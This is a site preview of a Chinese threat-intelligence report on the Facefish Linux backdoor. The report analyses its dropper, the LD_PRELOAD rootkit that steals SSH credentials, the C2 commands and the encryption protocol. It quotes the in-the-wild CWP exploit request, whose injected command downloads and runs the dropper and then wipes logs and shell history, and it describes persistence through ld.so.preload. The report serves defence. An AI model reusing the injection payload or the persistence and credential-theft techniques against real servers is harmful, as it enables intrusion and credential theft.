窃密者Facefish分析报告_第1页
窃密者Facefish分析报告_第2页
窃密者Facefish分析报告_第3页
窃密者Facefish分析报告_第4页
窃密者Facefish分析报告_第5页
已阅读5页,还剩28页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

窃密者Facefish分析报告背景介绍2021年2月,我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本,简单分析后发现这是一个新botnet家族的样本。它针对Linuxx64系统,配置灵活,并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构(在中国区有较好网络通信观察视野)验证后发现对应的C2通信命中为0,所以未再深入分析。2021年4月26号,Juniper发布了关于此样本的分析报告,我们注意到报告中忽略了一些重要的技术细节,所以决定将漏掉的细节分享出来。该家族的入口ELF样本MD5=38fb322cc6d09a6ab85784ede56bc5a7是一个Dropper,它会释放出一个Rootkit。因为Juniper并未为样本定义家族名,鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值,犹如川剧中的变脸,并且该家族使用了Blowfish加密算法,我们将它命名为Facefish。

Facefish概览Facefish由Dropper和Rootkit2部分组成,主要功能由Rootkit模块决定。Rootkit工作在Ring3层,利用LD_PRELOAD特性加载,通过Hookssh/sshd程序的相关函数以窃取用户的登录凭证,同时它还支持一些后门功能。因此可以将Facefish定性为,一款针对Linux平台的窃密后门。Facefish的主要功能有上报设备信息窃取用户凭证反弹Shell执行任意命令基本流程如下图所示:

传播方式在野利用的漏洞如下所示POST

/admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%206/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90

HTTP/1.1

Host:

xxx.xx.xx.xx:2031

User-Agent:

python-requests/2.25.1

Accept-Encoding:

gzip,

deflate

Accept:

*/*

Connection:

keep-alive

Content-Length:

0将与Facefish相关部分转码后,得到以下执行命令序列,可以看出主要功能为下载执行第一阶段的payload,然后清理痕迹。cd

/usr/bin;

/usr/bin/wget

6/76523y4gjhasd6/sshins;

chmod

0777

/usr/bin/sshins;

ls

-al

/usr/bin/sshins;

./sshins;

cat

/etc/ld.so.preload;

rm

-rf

/usr/bin/sshins;

sed

-i

'/sshins/d'

/usr/local/cwpsrv/logs/access_log;

history

-c

逆向分析简单来说,Facefish的感染程序可以分成3个阶段,Stage0:预备阶段,通过漏洞传播,在设备上植入DropperStage1:释放阶段,Dropper释放出RootkitStage2:业务阶段,Rootkit收集回传敏感信息,等待执行C2下发的指令下文将从Stage1到Stage2着手,分析Facefish的各个阶段的技术细节。Stage1:Dropper分析Dropper的基体信息如下所示,主要功能为检测运行环境,解密存有C2信息的Config,配置Rootkit,最后释放并启动Rootkit。MD5:38fb322cc6d09a6ab85784ede56bc5a7ELF64-bitLSBexecutable,x86-64,version1(GNU/Linux),staticallylinked,strippedPacker:UPX另处值得一提的是,Drooper在二进制层面,采用了一些tricks来对抗杀软的查杀。Trick1:upxwithoverlay如下图所示,将加密的Config数据作为overlay,填充到upx加壳后的样本尾部。这种做法的目的有2个:对抗upx脱壳Config数据与样本解耦,可以通过工具更新Config,无需再编译源码,方便在黑市流通Trick2:elfwithoutsections如下图所示,脱壳后样本中的section信息被抹除了这种做法的目的有2个:某些依赖section的信息进行分析的工具无法正常工作,抹除section在一定程度上加大了分析难度某些杀毒引擎依赖section信息生成特征的的检测区,抹除section在一定程度上实现了免杀Dropper主要功能Dropper运行时会输出下图中的信息:根据这个信息,我们将Dropper的功能分成了以下4个阶段检测运行环境解密Config配置Rootkit释放并启动Rootkit0x1:检测运行环境首先读取/bin/cat的前16个字节,通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行,最后尝试从自身文件尾部读入Config信息。其中任一环节失败,Facefish都将放弃感染,直接退出。0x2:解密Config原始的Config信息长度为128字节,采用Blowfish算法的CBC模式加密,以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下:key:builiv:0000000000000000值得一提的是在使用Blowfish时,其作者在编码过程中,玩了一个小trick来“恶心”安全研究人员,以下图代码片段为例:第一眼看上去,会让人以为Blowfish的密钥为”build”。注意第3个参数为4,即密钥的长度为4字节,所以真实的密钥为”buil”。以原始的Config为例,BD

E8

3F

94

57

A4

82

94

E3

B6

E9

9C

B7

91

BC

59

5B

B2

7E

74

2D

2E

2D

9B

94

F6

E5

3A

51

C7

D8

56

E4

EF

A8

81

AC

EB

A6

DF

8B

7E

DB

5F

25

53

62

E2

00

A1

69

BB

42

08

34

03

46

AF

A5

7B

B7

50

97

69

EB

B2

2E

78

68

13

FA

5B

41

37

B6

D0

FB

FA

DA

E1

A0

9E

6E

5B

5B

89

B7

64

E8

58

B1

79

2F

F5

0C

FF

71

64

1A

CB

BB

E9

10

1A

A6

AC

68

AF

4D

AD

67

D1

BA

A1

F3

E6

87

46

09

05

19

72

94

63

9F

50

05

B7解密后的Config如下所示,可以看到其中的c2:port信息(6:443)。各字段具体的含义如下:OFFSETLENGTHMEANING0x004magic0x0c4interval0x104offsetofc20x144port0x20(pointedby0x10)c2解密完成后,通过以下代码片段对Config进行校验,校验方法比较简单,即比较magic值是不是0xCAFEBABE,当校验通过后,进入配置Rootkit阶段。0x3:配置Rootkit首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key,将上阶段的解密得到的Config使用新的key重新加密。然后利用标志0xCAFEBABEDEADBEEF定位Dropper中的Rootkit的特定位置,写入新的加密key以及重新加密后的Config信息。文件的变化如下所示:

写入之前:写入之后:在这个过程中因为加密key是随机生成的,所以不同时间释放的Rootkit的MD5值是不一样的,我们推测,这种设计是用来对抗杀软黑白HASH检测。另外值得一提的是,Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单,如下图所示,即通过判断cat二进制中的EI_OSABI是否等于9,如果是则把Rootkit中的EI_OSABI值修改成9。0x4:释放并启动Rootkit将上阶段配置好的的Rootkit写到

/lib64/libs.so文件中,同时向/etc/ld.so.preload写入以下内容实现Rootkit的预加载。

/lib64/libs.so通过以下命令重起ssh服务,让Rootkit有机会加载到sshd程序中/etc/init.d/sshd

restart

/etc/rc.d/sshd

restart

service

ssh

restart

systemctl

restart

ssh

systemctl

restart

sshd.service实际效果如下所示:至此Dropper的任务完成,Rootkit开始工作。Stage2:Rootkit分析Facefish的Rootkit模块libs.so工作在Ring3层,通过LD_PRELOAD特性加载,它基本信息如下所示:MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2ELF64-bitLSBsharedobject,x86-64,version1(SYSV),dynamicallylinked,stripped在IDA中能看到它导出了3个函数,根据preload机制,当rootkit被加载时,它们会替代libc的同名函数,实现hook。init_proc函数,它的主要功能是hookssh/sshd进程中的相关函数以窃取登录凭证。

bind函数,它的主要功能是上报设备信息,等待执行C2下发的指令。

start函数,它的主要功能是为网络通信中的密钥交换过程计算密钥。.init_proc函数分析.init_proc函数首先会解密Config,取得C2,PORT等相关信息,然后判断被注入的进程是否为SSH/SSHD,如果是则对处理凭证的相关函数进行HOOK,最终当ssh主动对处连接,或sshd被动收到外部连接时,Facefish在Hook函数的帮助下,窃取登录凭着并发送给C2。0x1寻找SSH如果当前系统为FreeBSD则,通过dlopen函数获取link_map结构的地址,利用link_map可以遍历当前进程所加载的模块,进而找到SSH相关模块。如果当前系统不是FreeBSD,则通过.got.plt表的第2项,得到link_map的地址。得到SSH相关模块后,接着判断模块是否为ssh/sshd,方法比较简单,即验证模块中是否有以下字串。通过这一点,可知Facefish事实上只攻击OpenSSH实现的client/server。1:usage:

ssh

2:OpenSSH_0x2HOOK函数首先,Facefish会查找hook的函数地址其中要hook的ssh函数如所示:要hook的sshd函数如下所示:如果没有找到,则将函数名加上前缀Fssh_再找一次。如果还是没有找到,则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。实际中HOOK前后的对比如下所示:0x3窃取登录凭证Facefish在Hook后的函数帮助下,窃取登录凭证,并上报给C2。上报的数据格式为%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s,其中前32节节为加密的key,后面跟着账号,远程主机,密码等信息。实际中上报的信息如下所示:bind函数分析一旦用户通过ssh登录,将会触发bind函数接着执行一系列后门行为,具体分析如下:如果后门初始化正常,首先会fork后门子进程并进入连接C2的指令循环,父进程则通过syscall(0x68/0x31)调用真正的bind函数。0x1:主机行为判断sshd父进程是否存在,如果父进程退出,则后门进程也退出。如果父进程存在开始收集主机信息,包括:CPU型号、Arch,内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。CPU型号内存硬盘网络设备SSH服务相关0x2:C2指令介绍Facefish使用的通信协议及加密算法比较复杂,其中0x2XX开头的指令用来交换公钥,我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。发0x305是否发送上线信息0x305,如果没有则收集信息并上报。发0x300功能上报窃取的凭证信息发0x301收集uname信息,组包并发送0x301,等待进一步指令。收0x302接受指令0x302,反向shell。收0x310接受指令0x310,执行任意的系统命令发0x311发指令0x311,返回系统命令的执行结果收0x312接受指令0x312,重新收集并上报主机信息。0x3:通信协议分析Facefish的rootkit使用了一个自定义的加密协议进行C2通信,该协议使用DH(Diffie–Hellman)

算法进行密钥协商,使用BlowFish对称加密算法进行数据加密。具体运行时,单次C2会话可以分为两个阶段,第一阶段对应密钥协商,第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令,然后便会结束。不难看出,因为使用了DH和Blowfish算法,仅从流量数据入手是无法获取其C2通信内容的,而且这种一次一密的通信也不会留下用于精准识别的流量特征。一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库,而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程,因为没有引入第三方库所以代码体积非常精减。DH通信原理为了更好的理解Facefish的密钥交换代码,我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理,而是用一个简单的例子直接套公式描述通信过程。step1.甲生成一个随机数a=4,选择一个素数p=23,和一个底数g=5,并计算出公钥A:A=g^a%p=5^4%23=4,然后将p,g,A同时发送给乙。step2.乙收到上述信息后也生成一个随机数b=3,使用同样的公式算出公钥B:B=g^b%p=5^3%23=10,然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥:s=A^b%p=(g^a)^b%p=18。step3.甲收到B后也可以计算出共享机密值:s=B^a%p=(g^b)^a%p=18step4.甲乙双方基于共享机密s生成blowfish密钥,进行加密C2通信。实质上通过简单推导可以看出甲和乙计算s的公式是同一个:在整个算法中有一个关键的数学函数求幂取模power(x,y)modz,当x,y都很大的时候直接求解比较困难,所以就用到了快速幂取模算法。前文提到的start函数正是快速幂取模binpow()中的关键代码,协议分析发包和收包使用相同的数据结构。

struct

package{

struct

header{

WORD

payload_len;

//payload长度

WORD

cmd;

//指令编码

DWORD

payload_crc;

//

payload

crc校验值

}

;

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论